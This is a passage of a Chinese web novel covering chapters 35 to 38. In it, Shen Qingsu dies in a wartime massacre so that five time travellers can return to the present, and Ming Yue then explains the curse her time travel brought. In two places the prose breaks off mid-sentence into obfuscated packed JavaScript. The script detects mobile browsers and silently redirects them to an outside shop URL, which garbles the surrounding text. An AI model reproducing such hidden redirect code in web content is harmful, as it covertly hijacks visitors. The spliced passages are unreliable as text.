经过一段时间的相处,沈济和孟稚也渐渐喜欢上了方荷这个“姐姐的姐姐”。于是,两个小孩子也学着以茶代酒,说一些好听的话。 酒兴正酣,几个人纷纷聊起了自己的过往。听完沈家和孟家的遭遇,方荷又连连吞下好几杯酒水,哑着嗓子道,“原来你我同病相怜,皆是被奸人所害的可怜人呐。” “荷姐此话怎讲?”沈青素双颊绯红,已然不记得刚才自己说了什么。 “家父在任知府的时候,遭小人诬陷,被推赴菜市口斩首。”方荷也隐隐有些醉意,她嘴角的弧度向上,眼里却噙着泪花,“可怜家父一生两袖清风,到死的时候却被扣上一顶贪腐的帽子。” “我方荷就是个大逆不道的贼民!要我说,这样的世道早该完蛋了!那些什么皇帝亲王早该滚下去了!” 这句话把沈青素听得一激灵,她赶忙捂住方荷的嘴,小声道,“荷姐,当心隔墙有耳!” “怕什么!”醉醺醺的人把嘴上的手推开,“这又不是你们京城,何况大过年的,谁会来听墙根…” “小心驶得万年船。”沈青素把方荷的酒杯换成了茶杯,轻声道,“这里的太平日子也不知哪一日到头,谨言慎行总归是不会错的。” “说起来,我倒反而有些羡慕你。”方荷将茶水喝下肚,不顾旁边人诧异的眼神,“你的朋友那么早就在这里为你铺好了后路。即便是我,也因为沾了你的光才能在这里 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起初,她以为是自己最近精神不大好,睡一觉就好了。一觉醒来发现还是没用,她又猜测自己是不是撞上了什么不干净的东西,于是和方荷打了个招呼,她决定去找一位能掐会算的“老仙人”。 “老仙人”住在水乡偏僻处的一个茅草屋里。推开茅草屋的破门,来人着实被吓了一跳——茅草屋里那个沏着茶的中年男人,可不就是当时何记布庄的掌柜何照渠嘛! “何掌柜,您怎么会在这里?”沈青素诧异极了,“您也是来找‘老仙人’的吗?” “这儿除了老夫,还有旁人吗?”何照渠的这句话里听不出熟人的感觉。 “难道您就是大家一直说的老仙人?”来客目瞪口呆,“可是您怎么会呢?” “姑娘今日来,不是为了和老夫叙旧的吧。” 昔日待人热络的何掌柜如今变得淡漠了许多,让来人不免怀疑自己是不是认错了人。 沈青素定了定,决计把心中的疑问搁到一边,先坐在破旧的木椅子上询问最近看到的五个人是怎么一回事。 ‘老仙人’听完她的描述,一脸惋惜地叹了口气,“看来他们还是没回去。” “您知道他们是谁?” “二姑娘,他们不是鬼,也不是什么不干净的东西。他们和你的那位朋友一样,是从以后的时间来的。”老仙人这句话算是坦白了自己正是何掌柜的事实,“二小姐,为了你好,老夫奉劝你赶紧带着三公子他们离开这里。否则再发生什么,老夫也保不了你们!” “何掌柜何出此言?”沈青素越发听不懂他话里的意思了。 “二小姐,您自幼体弱,为何遇到那位朋友之后,您这身体就越来越好了?” “同样的药方,十几年未能根治您的病。遇到那个人之后,短短几年您就能学习武艺了,您自己难道不觉得匪夷所思?” “是阿木她做了什么?!”沈青素已经猜到了面前人的言外之意,现下便想求一个确证。 “二小姐,万事万物都有自己要遵循的道。”何照渠不明说,却撸起袖子,让来人看一看自己左手衣袖下空荡荡的一片。 “何掌柜,您的胳膊?”沈青素看到对面人仅剩的一只手,下意识捂住嘴,不让自己叫出声。 “你那位朋友不属于这里,却破坏了这里的道,所以她不能再回来与你见面。而我,因为一念之差帮了她,如今遭了天谴也不过是自作自受罢了。” “二小姐,你与我们并不完全相同。您虽受了益处,却也并非出于自愿,故而您还有机会回到您本身的道中去。听我一句劝,早些逃吧,逃去西边,你家长姐也在那儿。” “长姐?” “正是。”何照渠说罢,递给来人一只翡翠玉镯,“戴着它向西去找你家大姑娘吧,这是她的东西。老夫只能帮你到这儿了,您切记,往日已去,不可贪恋!” 36. 第三十六章 翻过年就是立春了,本以为季节到了春天,人的命运也会像草木发芽一样焕然一新。可事与愿违,很多人在这一年的春天中凋亡。 狄国快要进犯到水乡时,守城官军早已作鸟兽散了。剩下的百姓逃的逃跑的跑,实在没处可去的,就躲在水缸里、灶台下,以期能躲过这一劫。 从除夕的平静到现在的动荡,中间相隔的时间连一个月都不到。故而,像方荷这样的店家没机会在动乱中把店面盘出去,只好抓紧时间关店,再把能带的财物银两都背上,随着大流一道出城去。 沈青素到底还是听了何照渠的话,带着两个弟弟和方荷一起出城,然后西进。不巧的是,就在他们出城的这一天,狄国的人马破开了城门,把一众百姓堵在了城内。 狄国屠城的事情百姓们早有耳闻,现下真的到了自己跟前,人群中只剩下惊恐地哭嚎和无序地踩踏了。一时间,秀美的水乡变为人间炼狱——在城门口被慌乱的人群踩于脚下的、奔跑中跌落河塘溺亡的、成为狄国兵士刀下亡魂的……凡此种种,说不尽,数不清。 沈家姐弟和方荷算是走运,一直跟在人流最后面的四个人在惨剧发生的第一时间便掉头跑了,也因此暂时避过了一场灾祸。他们和另外二十几个幸存之人一起躲在一个破庙中,时刻提防着四处搜人的狄国士兵。 “要我说,干脆咱们几个跟他们拼了算了!”一个庄稼汉抄起手里的扁担喊道,“与其在这儿窝窝囊囊地等死,还不如跟这些贼人硬碰硬!” “消停会儿吧!”庄稼汉身边的卖鱼郎不赞同,“你看看他们,他们拿的都是刀枪长矛!我们呢?就靠你这根扁担,还不够他们打牙祭的!” “那怎么办?总不能干坐在这里等死啊!”庄稼汉这句话一出口,人群中便传出了各种各样的声音—— “娘,我怕!”有小孩窝在母亲怀里嚎啕的。 “我的儿啊,你怎么能让你爹你娘白发人送黑发人呐!”有想起刚刚离世的家人悲痛欲绝的。 “你们有没有见过一个穿蓝布衫的女孩子?阿叔你见过吗?”当然还有四下寻找失散亲人的下落的。 “都别叫了!”一个女人从庙旁的小洞中钻进来,她这一喝,生生让吵闹的人群安静下来。 “我知道怎么离开这里。”方荷这句话宛如天神降世,一群人都眼巴巴看着她,等待下文。 “方才,我带着我弟弟妹妹去探了情况。我们城后头那条水路还没被狄国人侵占,现在走还来得及。” “那还愣着干嘛,赶紧走啊!”卖鱼郎听闻此言,蹭地站起来就往小庙外面冲。 “但是只有两条船。”方荷这句话又把卖鱼郎拉了回来,“我问了船家,一条船至多只能载十个人。这就意味着,我们中有人上不了船。那么要如何取舍,全看大家。” 话毕,本来因为还剩一条生路而蠢蠢欲动的人群陡然静默了。每个人心里都在想方荷说过的话,每个人心里都有自己的小算盘。 “娘,百善孝为先,您上船吧,我不上了。”一个年轻人率先打破了沉默。 “傻孩子,娘活这么一大把年纪早就够本了,你上船,娘留下!” “娘——”这对母子抱头痛哭。 有了这个例子,其他各家也开始讨论谁去谁留的问题。叽叽喳喳了一阵后,有人自愿放弃上船,也有人在旁人的威逼利诱下作罢。 “快些走吧!等到了再商量也不迟啊!再不走,他们就要过来了!”不知是谁看到了远处忽明忽暗的火把光亮,立刻知会小庙里僵持不下的一众人。 眼看着这些人就要逃到水道附近了,一队寻城的狄国兵士听到动静追了上来。气氛立时变得紧张起来。 “你们到底上不上来!”两条小船上只剩几个人的位置了,艄公见岸上还有人争执不下,急得跳脚,若不是他们心地好,早就撑起船篙离开这里了。 “老吴,快走吧!管他们做甚!再不走大家都得陪葬!”船上有人不满。 “救人一命胜造七级浮屠,都是乡里乡亲的,再等等,能多带一个是一个。”艄公老吴又冲着岸上喊,“快些快些!” 终于,又跳上船几个人。还剩下最后一个站位,一个拖着三个孩子的母亲左右为难——纵使其他人已经决定让她一手抱着一个孩子上船,她也无法取舍留下三个孩子中的谁。 三个小孩最大的年纪也不过五六岁出头,最小的刚刚能咿呀学语,正是都能占据船上空位,却离不开家人照顾的年纪。年轻的妇人左看右看,哪个都舍不下。 “站住!”追击的官兵已经冒了头,他们手里端着长枪长矛,表情凶神恶煞,大有要把这些想要逃跑的人赶尽杀绝之意。 “婶婶,您快下来吧!再犹豫,大家都得葬身于此。”有人爬上了岸,忙忙把这妇人往船上推。 妇人怔愣片刻,感谢的话还没说出口,就被那人推进船里,“最里面有我两个弟弟,您要是真有谢的心思,帮我照顾照顾他们。” 沈青素朝艄公挥了挥手,载满人的小船终于顺着水流远去了。船上的沈济被方荷死死按住动弹不得,他看着姐姐留在岸上的背影,大颗大颗的眼泪滚下来,打湿了船板。 等到船行出好一段距离,方荷才把沈济松开。她解开包袱,将最下面压着的信塞给沈济后,自己也扭头向一边黯然落泪。 就在刚刚,岸上的母亲左右为难的时候,沈青素抵在方荷耳边小声说了一句,“荷姐,帮我照顾好小济和阿稚,尤其按住小济。我把要留给你们的话都放在你包袱底下了,多谢荷姐!” 方荷还没反应过来她要做什么,便见她抱了抱沈济,然后把他猛地推向自己。等她把沈济扶好,方才说话的人已经站在了岸边。等她想要有所行动的时候,船只就悠悠荡荡地向前走了,船上的人也没法再和岸上的人多言语什么。 沈青素留给方荷的信中除了感谢,还有两张大额银票,算是为拜托她照顾两个弟弟所付的酬谢。而留给沈济的信里,内容就更多一些了。 沈青素把向西而行的理由在信中做了详述,说了好些挂念的话,又给弟弟罗列出好几种可能遇到的问题和应对的措施…最后,她还不忘嘱托弟弟有机会把她葬在父母和姐姐身边,这才依依不舍地写下落款。 沈济盯着姐姐的笔迹,猛然想起落款的日期就是她从“老仙人”那里回来的后两天。他觉得“老仙人”一定和姐姐说了什么,可现下两个人都失去了联系,也无从查问了。 岸上这边,狄国的追兵步步逼近。许是快到了将死之际,留在岸上的人突然也没什么可怕的了,他们随手捡起身边能用得上的东西作为武器,叫喊着冲向了那些兵士。 长矛穿身而过时,沈青素周围突然烧起了火。火焰灼灼,从岸边蔓延到了水上;从倒下的人身上蔓延至用兵器屠戮百姓的人身上。 说也奇怪,自打来了这里从来体会不到冷热的五个后世人竟然也能感受到这场大火的威力,被这烈火灼得连连后退。 沈青素撑着脖子看向五人所在的位置,费劲地伸出手递给他们一样东西。 凌岓反应最快,先一个箭步冲上去接过了那样东西,这才发现沈青素给的是那支他们苦寻不得的金钗。 “何掌柜说,我是因为命不久矣,才能看到你们。”其他四人围过来时,沈青素说起话来都有些费劲了,“你们快走吧。如果见到了阿木,帮我告诉她…” “告诉她什么?”这么久以来,虽然凌岓和姜泠从来没有告诉卫斯诚有关明樾的事情,可他自己心里也明白了许多。 “不,什么都不要跟她说了。你们快走吧。”说完这句话,沈青素闭上眼睛,不再言语。 姜泠将金钗握在手里,又把半块生犀香用周围的烈火引燃。香气和呛人的浓烟混杂在一起,几个人手拉着手,没多久就一同失去了知觉。 不多久,沈青素睁开眼,看着那五人消失后,心满意足地舒了口气。浓烟呛得人眼泪直流,她却还是努力不闭上眼,在烈火中,她看到了自己一生的光景—— 先是幼时的场景。父母那时候还年轻,家里的姐姐弟弟都还没什么烦恼,一家人其乐融融,永远都是带着笑意的。 “素素,莫听信那些‘女子无才便是德’的荒谬之言。咱家的女儿无论病着还是好着,都不比男子差!”父亲抱着她识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037136|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字的画面略过。 “素素,娘今天新做了一道茉莉茶酥,你尝尝爱不爱吃?”那时的母亲还是光彩夺目的样子。 “素素别怕,这些小兔崽子再说你是病秧子,姐姐还能把他们揍回去!”沈听玉帮她出气时的样子现在仍然历历在目。 “你也就比我早那么几分钟!我应该做你哥,我要保护你的!”沈隽舟去边关之前还这样跟她闹。 “二姐姐帮我做做功课吧,我真的不想挨先生揍了。”沈济可怜巴巴地模样总会让她心软。 …… 再然后,是在茉莉院子中第一次遇到阿木的场景。从一开始觉得阿木胡言乱语,到后来对她所在的世界深向往之;从两个人相互自我介绍,到后来依依不舍的最后一面。阿木陪她一路走过来,度过了苦药罐子的时期,度过了学习礼教的枯燥;她教阿木画画吟诗,阿木也带给她闻所未闻的新奇故事。 “环佩青衣,盈盈素靥,临风无限清幽。[1]”阿木春风一样的笑容就在眼前,“你这院子里种满了茉莉花,你的名字也是写茉莉花的,你也和茉莉花一样,又香又素净。” “青素,你以后叫我阿木吧!我回去查字典,字典上说‘樾’是树荫的意思。那我就是你家里人以外的树荫,我要为你遮风挡雨,帮你把大太阳挡得严严实实!” “青素,你看我画的你,是不是很像?”明樾第一幅不是临摹的作品画的就是沈青素,画卷上印着“青木”二字,她说,“我俩的名字各取一个字就是我的笔名。以后我要是成了大画家,我接受采访的时候就会跟大家说我们的故事。我要告诉我们那个世界的人,什么才是真正的忘年交!” 从前的一幕幕在眼前闪过,现在的沈青素终于明白了所谓的走马灯是什么。 “你那个朋友为了治你的病,带过来不属于这里的药还且罢了,她还从我这里偷了禁书,想要用禁术给你续命。这都是逆天而行的作为,所以我说她坏了这里的道。” 最后,画面定格在离开水乡的前两天。何照渠找到了沈青素,将一些事情和盘托出。 “我原以为只消我们两个承受后果便算了。谁成想,我走了以后,你家里也遭了难。虽说时局如此,可你家中的劫难与逆天而行的事情有没有关联,有多少关联,我如今也说不清了。” “那要怎么样才算彻底结束?”沈青素问。 “有以身入局,自然也有以身破局。”何照渠硬着头皮道。 “只要我死了,一切就能回归正轨了?” “也不尽然。天下大势不因你而起,亦不因你而变。可与你有牵涉的人就未必了。” “那阿木要承受什么后果?” “一生都不得有亲近之人。无论她的父母子嗣,只要她不和他们分开,那些人就会死于非命。” “我明白了,多谢何掌柜。”沈青素道了谢。 “我在四周做了安排。你近日看到的那五人不会听到这次的谈话。”何照渠说,“他们中有一个人是你那位朋友的后代,想来也是因为受她所托才来到这里。你家大姑娘成亲时留给你的一对金钗,你送了一支给她,另一支在你手上。今日之后,你觉得必要的时候,就把那支金钗交给他们,他们就能回到该去的地方。” “沈二小姐,是老夫对不住你。”最后的最后,何照渠深深埋下了头道歉。 “何故道歉。”现在的沈青素看见那天自己释怀的笑容,“因为挂念做下这些事情,可谁都不想走到今天这一步。” 烈火渐渐灭了,沈青素眼中的神采也跟着熄灭了。她躺在岸边,模模糊糊看到亲友的面孔,最后问了一句“以身破局,这局算破了吗?”,便与世长辞。 另一边,众人一一醒转,他们已经回到了兰家。等到彻底清醒过来之后,一行人这才惊觉最后那场岸边火,是此时已经烧得只剩卷轴的画外火。 “完了,白来了。”卫斯诚把最后那点火星扑灭,收起了卷轴,“就这么交差吧,我妈应该也不会怪我们。” 兰家人也回到了现实,只是收起画卷时,他们还沉睡着。听到姜泠说没有大碍,一行人这才轻手轻脚离开了兰家。 37. 第 37 章 在画中过完了三个季节,回到画外,却连三天都没有。央拉寄宿在达玛家里的这几天,达玛把她照顾得很好。见到沈径霜回来,央拉一个蹦子就扑了过去。 姜泠跟着达玛上楼探了探祖巴的情况,彻底放下心——自画烧掉以后,祖巴就醒了,食欲也开始恢复了。现在看上去,祖巴的脸色比之前红润得多,是个好现象。 “他指尖的血是浅色的,说明他也吸入了生犀香。只是兰家人吸得多,所以他们也进入了画里;祖巴没怎么多待,吸入的香少,所以只是失了魂。”回到楼下,姜泠向众人解释道。 “我不明白我妈绕这么大个圈子图什么?”三天不到,对于卫斯诚而言比三年还煎熬,尤其是看到食物又不能吃的时候,“何必非要先找达玛,再由达玛帮我们把东西给兰家呢?麻烦死了。” “明女士说,只有给了我们再给兰家的东西才能证明是真的,其他人直接交给兰家的,都是假的。”达玛好像也不知道给的东西是什么,只是明樾曾帮助过他们家,他们也很乐意为明樾办这些事情。 “整得跟特工一样,神叨叨的。”卫斯诚咬下一口羊腿,对母亲的做法很不理解。 “现在这样就很好啦。”沈径霜抱着央拉,满足得很,“至少我们没有被困在里面,都完完整整地出来了,这就很好。” “那倒也是。”曾宇回来以后光顾着吃饭,话都变少了。 “那我们什么时候走?”凌岓问道。 “明天吧。”姜泠主打一个从速从快,“早点回去给阿姨交差,早点把这件事情了结了算了。” “你们这就要回去了吗?”沈径霜似乎有点舍不得。 “天下无不散之…”话说到一半,明樾给卫斯诚来电话了。 “小诚,画拿到了吗?”早在三天前谁的电话都打不通时,明樾其实就已经有了预感。 “拿到了……拿到了一个卷轴。”卫斯诚也坦白跟母亲说。 “没事,你们没事就好。”明樾一反常态,又说,“你把电话给小姜,我有话跟她说。” 姜泠接过电话,表情渐渐从平静转为疑惑,最后又以恍然大悟收场。 “径霜,我有话单独要跟你说。”挂了电话,姜泠拎起自己的包,顺带把沈径霜也拉了起来。 “都是自己人,怎么还有悄悄话?”凌岓打趣道。 “你都说了是悄悄话,那自己人也不能听。”姜泠毫不留情地回答。 进了房间,门一关,姜泠把明樾交给她的木盒子先摆了出来。 “什么事儿啊?”沈径霜一头雾水。 “我其实也是受人所托,想问你件事。” “什么事这么神秘?你问吧。” “你,或者你家里有没有什么祖传的首饰?譬如镯子、玉佩之类的。”姜泠一只手按在木盒子上,等待对方的回应。 “有,确实有一个。”沈径霜从脖子里取下一块质地温润的玉,“我爸说这是传了很多年的东西,因为只有半块,所以只有历史价值,没有什么金钱价值。” “那就对了。”姜泠从盒子里取出明樾的半块玉佩递给她,“你看看,能不能凑成完整的一个?” “你怎么会有另一半?”把两个半块玉拼在一起的人惊道。 “不是我的,是明阿姨的。”姜泠完成了明樾交代的任务,说起话来就不再有什么负担了,“明阿姨说,你大概是沈青素他们家的后人。这块玉佩是她们当年分开时,沈青素给她的信物。现在她把另外半块交还给你,说是物归原主。” “可她不是没有孩子就去世了吗?”想起从画中出来前的场景,沈径霜有点弄不明白了。 “明阿姨说,‘他们家’的后人,而不是沈青素的后人。所以我猜,也可能说的是沈济的后代吧。” 沈径霜盯着合二为一的玉佩看了半天,五味杂陈,点点头对姜泠说,“谢谢你,也谢谢明阿姨。有机会,我回去看你们。” 第二天,沈径霜带着央拉先回去了。曾宇本想就在芝则车站和众人分道扬镳,最后在卫斯诚的盛情邀请下跟着他们一道回了家。 到了禾城,照例先去卫家“汇报”情况。回到家,看见母亲气定神闲地坐在茶室里煮茶,卫斯诚还是有些心虚。 “伤怎么样了?”明樾没有直接问画的事,倒是先关心几个人的健康状况。 “前两天给你们打电话也打不通,问了朋友才知道你们可能遇到了不大正常的事情。这个东西一人一颗都有,不用和水吞,嚼碎咽下去就行。吃完以后,画里的事情不会再对你们有任何影响了。” 四个圆柱形的透明管子里各塞着一粒药丸,并排坐着的四个年轻人十分听话,就地把药丸取出来吃了。 “诶,那沈医生也跟我们一起去了,她怎么办?”凌岓突然想起来。 “沈医生那里不必担心,我已经让人把药送过去了。” “哦哦,那就好。”卫斯诚虚心地瞄了一眼母亲,拐弯抹角地问,“妈,你…还有别的事要问吗?” “你们还有什么事想问我?”明樾反问,倒把儿子打了个措手不及。 “您怎么不问我们为什么只带回来了个卷轴?”曾宇说出了卫斯诚的心里话。 “因为我知道你们这两天遇到了什么。”气质典雅的女人接过姜泠归还来的木盒子,“既然你们也不知道从哪里问起,那我就一个一个跟你们解释吧。现在画已经毁了,也没什么不能说的了。” “我就是青木,这个你们应该已经知道了。” “猜到了。”虽然身边的人都不说,但这早已是大家心知肚明的事情。 “你外公以前喜欢淘一些古玩回家。有一次,我在他房子里找到一本无字书,我觉得新奇,就把那本书收归于我了。巧的是,没多久我过生日的时候,你外公送给我一块很精致的香。就是那块香,带我见识到了无字书里的世界。” “是沈青素他们那个年代?”之前在密室和画里的时候,明樾没有提过这些事,故而现在听了,凌岓还是会问上一句。 “不错。”坐在对面讲故事的人点点头。 “那时候我还没想到‘穿越’这个词,只是觉得那里和我生活的地方不一样。在那里,我认识了沈青素,从她嘴里得知她家的情况乃至她们整个国家的情况。你外婆走的早,你外公又时常不在家。久而久之,我和沈青素成了关系很好的朋友,点香去到书里的年代于我而言,也是很幸福的事。” “但回到过去本身是不被允许的。”明樾继续道,“这就好比有无数个时空,每一个都是平行的。利用某种方法从这个时空跳到另外一个,就相当于两条平行线中的一段出了变数,让这两条线不再平行,变成了部分相交。” “所以,到后面一段时间里,即便点了香,我也去不了了。” “你们两个孩子见过那时候的我,应该知道在沈听玉出嫁以后,我就没再回到过那里。” 卫斯诚看见身边姜、凌二人不约而同地点头,腹诽道:“我就知道你们仨有小九九瞒着我。” “在那个世界里的细节就不多说了,总之沈青素于我而言,是最最重要的朋友,也是我最好的朋友。你们在衣柜里看到的那个铜器是我和素素友情的见证——前人说,把两个刻有互动条纹的长方形铜器绑在一起,就结成了‘苔岑之契’,寓意着友谊和承诺。” “这次让你们帮忙取的那副画也一样,那是我和素素一起画的。在和你外公搬家之后,那副画莫名其妙失踪了,直到前几年我才打听到它的下落。” “我怕来回路上再丢,就把画交给了芝则兰家保管。要拿到画,必须先把盒子里的玉佩和金钗交给达玛,由达玛转递给兰家确认以后,才能把画带走。” “为什么您不直接带走呢?”姜泠也觉得奇怪。 “一是因为忙。二是因为和那副画在一起的,还有当年没烧完的香。”明樾这个答案倒是在意料之中, “我怕那块香落到他人手里,就干脆把两样东西都放着不动,等到时机成熟的时候再去取。” “什么时候算时机成熟?”卫斯诚听得云里雾里,“您怎么确定这次让我们去,就叫时机成熟?” “你们在画里应该知道素素他们最后是要西行的,那是因为当年的何掌柜找到了沈听玉的遗骨,就埋在西藏。” “哦,原来狄国在西藏啊!那他们打过来也确实挺远的。”曾宇感慨道。 “当然不在西藏。狄国并没有那么远,沈听玉最早应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050026|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该也没有埋在那里。只是等到何掌柜找到她的时候,她的遗骸已经被人为带到了藏北。” 姜泠听闻此言,举着杯子喝了口茶,心里把几件事情慢慢串了起来。 “兰家人是当年的何掌柜指定好的守骨人,我不知道他用了什么办法,总之兰家世世代代心甘情愿地守在那儿,为的就是确保沈听玉的遗骸不会有任何意外发生。” “前不久,兰家给我来了消息,说有人打听沈家的事情。为了保险起见,我只好拜托你们先把画和香带回来。但我没想到,在你们去之前,香已经被点燃了,还牵连着兰家与你们一起被吸进了画里。” “这不对啊,您不是说那时候是因为书,才能去那儿的吗?怎么现在画也行?”曾宇终于把前因后果理顺了,却还是有疑问。 “书和画都只不过是媒介而已。那本书里记载的是沈家的故事,画里画的是素素,所以香点燃之后,你们也会去那个世界。” “家里的密室根本不是我在做梦吧。”一想起那天晚上被污蔑喝多了,卫斯诚就火大,“妈,你干嘛骗我?你还串通我姐和凌岓一起骗我?” “那是迫于无奈,是因为一个诅咒。”即便卫斯诚不问,明樾也打算告诉他事实。 “所谓的‘穿越’本来就是不该存在的,而我频繁利用生犀香就相当于破坏了两个世界的运行规则。作为报应,我只能在你很小的时候离你远一点,离你爸也远一点。要不然,我怕你们都会没命。” “妈你怎么还信这个?”卫斯诚彻底明白了父母不常回家的原因,父亲是因为忙,可母亲现在说的这个理由在他看来,未免有些牵强。 “何掌柜说的时候,我是不信的。可是你外公后来意外去世,我和你爸结婚以后你爸又总生病,我不得不信。” “你和泠儿的师父,就是何掌柜的徒弟。你那时候‘大闹天宫’,我怕是因为我的缘故,所以才把你交给了你师父。何掌柜曾对我说,骨医能缓解这种报应造成的影响,我也信得过他和他的徒弟。事实证明,你在你师父那儿确实活得很好。” “密室里的画曾经被生犀香熏过。那天晚上我赶回来的时候,你们三个都已经人事不省了,估计是受了画上残存香味的影响。可能因为你是我儿子的缘故,你比你姐姐和小凌醒的都要迟。我怕告诉你会对你不利,所以才串通他们两个先瞒你一段时间。这件事情是妈做的不周到,你也不能怪你姐姐他们。” “怕对我不利还让我去?”卫斯诚还在气头上呢,揪着其中一句话就怼了回去。 “因为我去不了,你是我的儿子,身体里流着我的血。所以只有你去,兰家人才最放心。” “回到那副画上。那副画有素素的手笔,是我与她友情的联结。把画取回来,保护是一回事,怀念也是一个原因。”说到这里,明樾无不痛惜道,“画被烧毁了,我与她的联结就没有了。当然,也不会再有人因此回到过往的那个世界了,所以现在把一切事情对你们和盘托出也无所谓。” “你们看到的密室里的那些画,是我画的素素。从今往后,也只能靠它们怀念她了。”明樾换上笑颜,“这个药是当年何掌柜走的时候留给我的,他预言的不错,你们刚好五个人,一人一颗。你们是被迫卷进来的,再吃了这个药,至少不会像我一样有报应。” 四个人沉默不语,实在不知道该怎么回应明樾的这番话。 “那以后呢?你还是不回家啊…”卫斯诚气消了一半,有些委屈地问。 “何掌柜说报应会随着时间变淡。以后,说不定会好一点。”明樾也一样心存愧疚,可她始终不能狠下心拿家人的安危做赌注。 “我和素素的一切都像是一场梦。你们也把这段经历当作一场梦吧。到今天,大梦初醒,我醒了,你们也醒了,往后的生活都要好好过的。” 话说到这个份上,众人差不多搞清楚了此行中发生的一切。再没有什么可问的了,凌岓打头,率先走出茶室。 “泠儿你等等,我还有事和你说。”等到其他三个人都走了,明樾才把起身的姜泠叫住。 “您说。”姜泠重新坐回椅子上。 “是关于你师父的事。” 明樾一开口,就把单独留下的人焊在了原地。 38. 第三十八章 线索 “我听说,你们这次去芝则,得到了些关于你师父的线索。” “嗯。”姜泠也不隐瞒,“我们遇到了一个极深的湖,湖里的大鱼把师父的刀带到了岸上。” “我把你留下,也是想跟你说这件事。”明樾从椅子旁边的公文包里拿出一沓照片,“你们失踪的那几天,有人寄给我这些照片,照片上的人,都是你们师父。” 知道姜泠看不见,明樾干脆一张一张给她描述起来。 “这一张是你们师父在山里,哪座山不好说。” “这张应该是在哪个少数民族的寨子里,看他身边的建筑物上画的都是图腾。” …… “这张他应该是在高原地区,看照片上的日期就是前两天,但他身边有雪,应该是在高海拔的地方。” 明樾手里拿着最后一张照片,突然顿了一下,又说,“这张照片的拍摄日期就在小诚受伤进医院的那天。那也就是说,你们的师父可能和你们离得并不远?” “阿姨,照片里还有其他人吗?”姜泠问。 “没有,只有他一个人。”明樾又仔仔细细地翻了一遍照片,最后在照片中的一个小店门上发现了端倪,“从这个玻璃门上的人影看,好像还有一个人站在他旁边,看不清长相,但应该是个女的。” “女的?”姜泠想起沈径霜跟她说的那两个人,陷入沉思。 “哦对了,收到这些照片以后,我找朋友去查了查。”明樾又拿出一个档案袋,“这张照片的山应该是在西南;这一张应该是在一个叫六溪的地方。还有这个,虽然不确定这座雪山在哪儿,但我朋友说十有八九是在西藏。” 姜泠还没来得及思考,就又听见对面人说:“我这里能查到的资料上显示,你师父以前好像有一个师妹。但她很久之前就不在了,上次跟你说有人曾在藏北见过他,说的也是他身边跟了一个叫他‘师哥’的姑娘。这些东西你先拿着,说不定能派上用场。” “谢谢阿姨。”姜泠收下照片和资料,心想:难道师父的轨迹和这几个月我们去过的地方是重合的? 晚上吃饭时,每个人心里都藏着疑问,只是都不表露。吃到一半,凌岓出去透了口气,刚巧碰上姜泠。 “伯母跟你说什么了?”本来只是随口寒暄,可话说出了口,凌岓又觉得自己太没分寸感了,赶紧找补一句,“随便问问而已,如果是秘密,不说也行。” “她说有我师父的线索。”另一个站在门口的人回答得坦荡,“阿姨还给了我照片和一些她查到的资料,看起来,我师父好像一直跟在我们后面。” “跟在后面?”凌岓从烟盒里抽出一支烟闻了闻,“暗中保护你们?” “不知道。”姜泠摇头,“说不定过一阵还得再去一趟芝则。师父留给径霜一把琴,跟她说会有人去取。真有人去的话,她会打电话给我。” “说起来,我都还没你的电话。”烟又被塞回盒子,凌岓话锋一转,改要联系方式,“好歹也算出生入死过这么多次的,姜大夫能不能也给我一个电话号码。” “你不是有阿诚的吗?” “他是他,你是你。当然如果你不愿意也没关系。” “没什么不愿意的,只是一般大家都会联系阿诚。”姜泠说罢,把手机递给身边的人,“你自己给自己拨过去吧。” “多谢姜大夫。”凌岓从沈家学到的礼仪总算派上了用场,可惜姜泠看不见。 “话说,你这个眼睛,有去医院看过吗?” “看过,医院说师父带我去的太迟了,治不了。” “这样吧,过两天我让我妈联系一个好点儿的大夫,你再去看看。”凌岓总觉得这么一双漂亮的眼睛却看不见周围的样子,未免太过可惜。 “现在这样也没什么不好的。”出人意料,失明的人拒绝了这个机会,“师父说,眼盲心不盲,依然能走得好路。何况我现在感觉和听觉都敏锐得很,能不能看见对我来说也没那么重要。” “那你就不想见见你身边这些朋友的样子?” “为什么要见到你们的样子?”姜泠真诚发问,“难道看到长什么样,我们就不是朋友了?还是说看到了你们的样子,你我之间的友谊就会发生什么质的改变?” 凌岓被问得语塞,却还是觉得有点高兴——眼前的姑娘说“你我之间的友谊”,这话的意思是她把自己也当做朋友。 “还是去看看吧。”凌岓向来尊重别人的意愿,但在这件事情上,他不知道为什么,还是想争取争取,“万一现在能看好呢?能看到和不想看是两码事儿。如果能看好的话,你以后想用眼睛就用,不想用就不用,总归是可选择的嘛。” 姜泠低着头没说话。 “但我还是那句话啊,这都得看你的…“ “那就听你的吧。”——“意愿”两个字还没出口,姜泠居然答应了。 “好,等我消息。”凌岓也不明白自己为什么会笑,反正就是觉得开心,“放心,我不会让你等很久的。” “你俩说什么悄悄话呢?”卫斯诚突然从身后出现,把两个人吓了一跳,“上大菜了,赶紧回去吃饭。再不回去,曾宇就要一个人干光了。” 饭后,明樾叫卫斯诚带着曾宇到处逛逛,自己接了个电话,又处理工作去了。 “你师父的事情,有需要阿姨帮忙的,随时给阿姨打电话。”临走前,她还不忘跟姜泠嘱咐一句。 “你现在去哪儿,我送你吧。”有事的都走了,只剩两个人,凌岓想发扬一下“绅士精神”。 